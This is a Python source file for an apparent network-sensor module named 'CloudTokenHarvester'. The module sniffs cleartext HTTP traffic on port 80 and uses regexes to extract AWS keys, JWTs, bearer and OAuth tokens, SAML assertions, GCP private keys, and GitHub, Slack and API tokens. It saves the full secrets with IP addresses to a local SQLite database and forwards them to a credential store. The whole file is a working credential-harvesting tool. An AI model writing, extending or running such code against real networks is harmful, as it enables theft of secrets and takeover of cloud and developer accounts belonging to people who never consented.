#!/usr/bin/env python3 """Cloud token harvester — passive credential extraction from cleartext HTTP. Regex-scans cleartext HTTP traffic (port 80) for AWS access keys, JWT tokens, OAuth bearer tokens, SAML assertions, Azure AD tokens, and GCP service account keys. Near-zero yield on most networks but zero cost to run. Publishes CLOUD_TOKEN_FOUND events and feeds to credential_db via bus events. """ import logging import os import re import socket import sqlite3 import struct import threading import time from pathlib import Path from typing import Optional from modules.base import BaseModule logger = logging.getLogger("sensor.passive.cloud_token_harvester") # Token regexes — compiled once _TOKEN_PATTERNS = { "aws_access_key": re.compile(rb'(AKIA[A-Z0-9]{16})'), "aws_secret_key": re.compile(rb'(?:aws_secret_access_key|secret[_-]?key)\s*[=:]\s*([A-Za-z0-9/+=]{40})', re.IGNORECASE), "jwt": re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]+)'), "bearer_token": re.compile(rb'[Bb]earer\s+([A-Za-z0-9_\-\.~+/]+=*)', re.IGNORECASE), "saml_assertion": re.compile(rb'(]*>.*?)', re.DOTALL | re.IGNORECASE), "azure_ad_token": re.compile(rb'(eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)'), "gcp_service_key": re.compile(rb'"type"\s*:\s*"service_account".*?"private_key"\s*:\s*"([^"]+)"', re.DOTALL), "api_key_generic": re.compile(rb'(?:api[_-]?key|apikey|x-api-key)\s*[=:]\s*([A-Za-z0-9_\-]{20,})', re.IGNORECASE), "github_token": re.compile(rb'(ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36})'), "slack_token": re.compile(rb'(xox[baprs]-[A-Za-z0-9\-]+)'), } _DB_INIT = """ CREATE TABLE IF NOT EXISTS cloud_tokens ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp REAL NOT NULL, source_ip TEXT NOT NULL, dest_ip TEXT NOT NULL, token_type TEXT NOT NULL, token_value TEXT NOT NULL, context TEXT DEFAULT '' ); CREATE INDEX IF NOT EXISTS idx_ct_type ON cloud_tokens(token_type); CREATE INDEX IF NOT EXISTS idx_ct_ts ON cloud_tokens(timestamp); """ FLUSH_INTERVAL = 60 class CloudTokenHarvester(BaseModule): """Passively harvest cloud tokens and API keys from cleartext HTTP.""" name = "cloud_token_harvester" module_type = "passive" priority = 200 requires_root = True requires_capture_bus = True def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._capture_bus = None self._sub_queue = None self._read_thread: Optional[threading.Thread] = None self._flush_thread: Optional[threading.Thread] = None self._db_path = self._resolve_db_path() self._db_conn: Optional[sqlite3.Connection] = None self._write_buffer: list[tuple] = [] self._buffer_lock = threading.Lock() # Dedup: track recently seen tokens to avoid spamming self._seen_tokens: set = set() self._seen_tokens_lock = threading.Lock() self._stats = { "packets_processed": 0, "http_payloads_scanned": 0, "tokens_found": 0, "tokens_by_type": {}, } # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._init_db() self._capture_bus = self.config.get("_capture_bus") if self._capture_bus is None: logger.error("CloudTokenHarvester requires _capture_bus in config") return self._sub_queue = self._capture_bus.subscribe( name=self.name, bpf_filter="port 80", queue_depth=3000 ) self._running = True self._start_time = time.time() self._pid = os.getpid() self._read_thread = threading.Thread( target=self._read_loop, daemon=True, name="sensor-cloud-read" ) self._read_thread.start() self._flush_thread = threading.Thread( target=self._flush_loop, daemon=True, name="sensor-cloud-flush" ) self._flush_thread.start() self.state.set_module_status(self.name, "running", pid=self._pid) self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) logger.info("CloudTokenHarvester started") def stop(self) -> None: if not self._running: return self._running = False if self._capture_bus: self._capture_bus.unsubscribe(self.name) for t in (self._read_thread, self._flush_thread): if t and t.is_alive(): t.join(timeout=5.0) self._flush_buffer() if self._db_conn: self._db_conn.close() self._db_conn = None self.state.set_module_status(self.name, "stopped") self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) logger.info("CloudTokenHarvester stopped — stats: %s", self._stats) def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, **self._stats, } def configure(self, config: dict) -> None: self.config.update(config) # ------------------------------------------------------------------ # Packet processing # ------------------------------------------------------------------ def _read_loop(self) -> None: while self._running: result = self._sub_queue.get(timeout=1.0) if result is None: continue ts, pkt = result self._stats["packets_processed"] += 1 try: self._process_packet(pkt, ts) except Exception: logger.debug("Error processing packet", exc_info=True) def _process_packet(self, pkt: bytes, ts: float) -> None: """Extract HTTP payload and scan for tokens.""" if len(pkt) < 54: return ethertype = struct.unpack("!H", pkt[12:14])[0] eth_offset = 14 if ethertype == 0x8100: if len(pkt) < 58: return ethertype = struct.unpack("!H", pkt[16:18])[0] eth_offset = 18 if ethertype != 0x0800: return ip_header = pkt[eth_offset:] if len(ip_header) < 20: return ihl = (ip_header[0] & 0x0F) * 4 ip_proto = ip_header[9] if ip_proto != 6: # TCP only return src_ip = socket.inet_ntoa(ip_header[12:16]) dst_ip = socket.inet_ntoa(ip_header[16:20]) if len(ip_header) < ihl + 20: return tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4 payload = ip_header[ihl + tcp_data_off:] if len(payload) < 10: return # Quick check: does this look like HTTP? if not (payload[:4] in (b'GET ', b'POST', b'PUT ', b'HEAD', b'HTTP', b'PATC', b'DELE') or payload[:7] == b'CONNECT' or payload[:7] == b'OPTIONS'): return self._stats["http_payloads_scanned"] += 1 self._scan_for_tokens(payload, src_ip, dst_ip, ts) def _scan_for_tokens(self, payload: bytes, src_ip: str, dst_ip: str, ts: float) -> None: """Run all token regexes against the HTTP payload.""" for token_type, pattern in _TOKEN_PATTERNS.items(): try: matches = pattern.findall(payload) except Exception: continue for match in matches: if isinstance(match, bytes): token_value = match.decode("ascii", errors="replace") else: token_value = str(match) # Skip very short matches (likely false positives) if len(token_value) < 10: continue # Dedup token_hash = f"{token_type}:{token_value[:32]}" with self._seen_tokens_lock: if token_hash in self._seen_tokens: continue self._seen_tokens.add(token_hash) # Bound the seen set if len(self._seen_tokens) > 10000: self._seen_tokens.clear() # Extract context (surrounding bytes for context) idx = payload.find(match if isinstance(match, bytes) else match.encode()) context_start = max(0, idx - 50) context_end = min(len(payload), idx + len(match) + 50) if idx >= 0 else 0 context = payload[context_start:context_end].decode("ascii", errors="replace") if idx >= 0 else "" self._stats["tokens_found"] += 1 self._stats["tokens_by_type"][token_type] = ( self._stats["tokens_by_type"].get(token_type, 0) + 1 ) logger.info( "Cloud token found: type=%s src=%s dst=%s value=%s...", token_type, src_ip, dst_ip, token_value[:20] ) # Publish event self.bus.emit("CLOUD_TOKEN_FOUND", { "token_type": token_type, "token_value": token_value, "source_ip": src_ip, "dest_ip": dst_ip, "context": context[:200], }, source_module=self.name) # Also feed to credential_db self.bus.emit("CREDENTIAL_FOUND", { "source": f"cloud_token_{token_type}", "username": "", "credential": token_value, "source_ip": src_ip, "dest_ip": dst_ip, "protocol": "http", }, source_module=self.name) self._record_token(ts, src_ip, dst_ip, token_type, token_value, context) # ------------------------------------------------------------------ # Database # ------------------------------------------------------------------ def _resolve_db_path(self) -> str: base = self.config.get("db_dir", os.path.join( os.path.expanduser("~"), ".bigbrother" )) return os.path.join(base, "cloud_token_harvester.db") def _init_db(self) -> None: Path(self._db_path).parent.mkdir(parents=True, exist_ok=True) self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) self._db_conn.execute("PRAGMA journal_mode=WAL") self._db_conn.execute("PRAGMA synchronous=NORMAL") self._db_conn.executescript(_DB_INIT) self._db_conn.commit() def _record_token(self, ts: float, src_ip: str, dst_ip: str, token_type: str, token_value: str, context: str) -> None: with self._buffer_lock: self._write_buffer.append(( ts, src_ip, dst_ip, token_type, token_value, context[:500] )) def _flush_buffer(self) -> None: with self._buffer_lock: batch = list(self._write_buffer) self._write_buffer.clear() if not batch or not self._db_conn: return try: with self._db_conn: self._db_conn.executemany( """INSERT INTO cloud_tokens (timestamp, source_ip, dest_ip, token_type, token_value, context) VALUES (?, ?, ?, ?, ?, ?)""", batch, ) except Exception: logger.exception("Failed to flush cloud tokens") def _flush_loop(self) -> None: while self._running: time.sleep(FLUSH_INTERVAL) try: self._flush_buffer() except Exception: logger.exception("Flush loop error")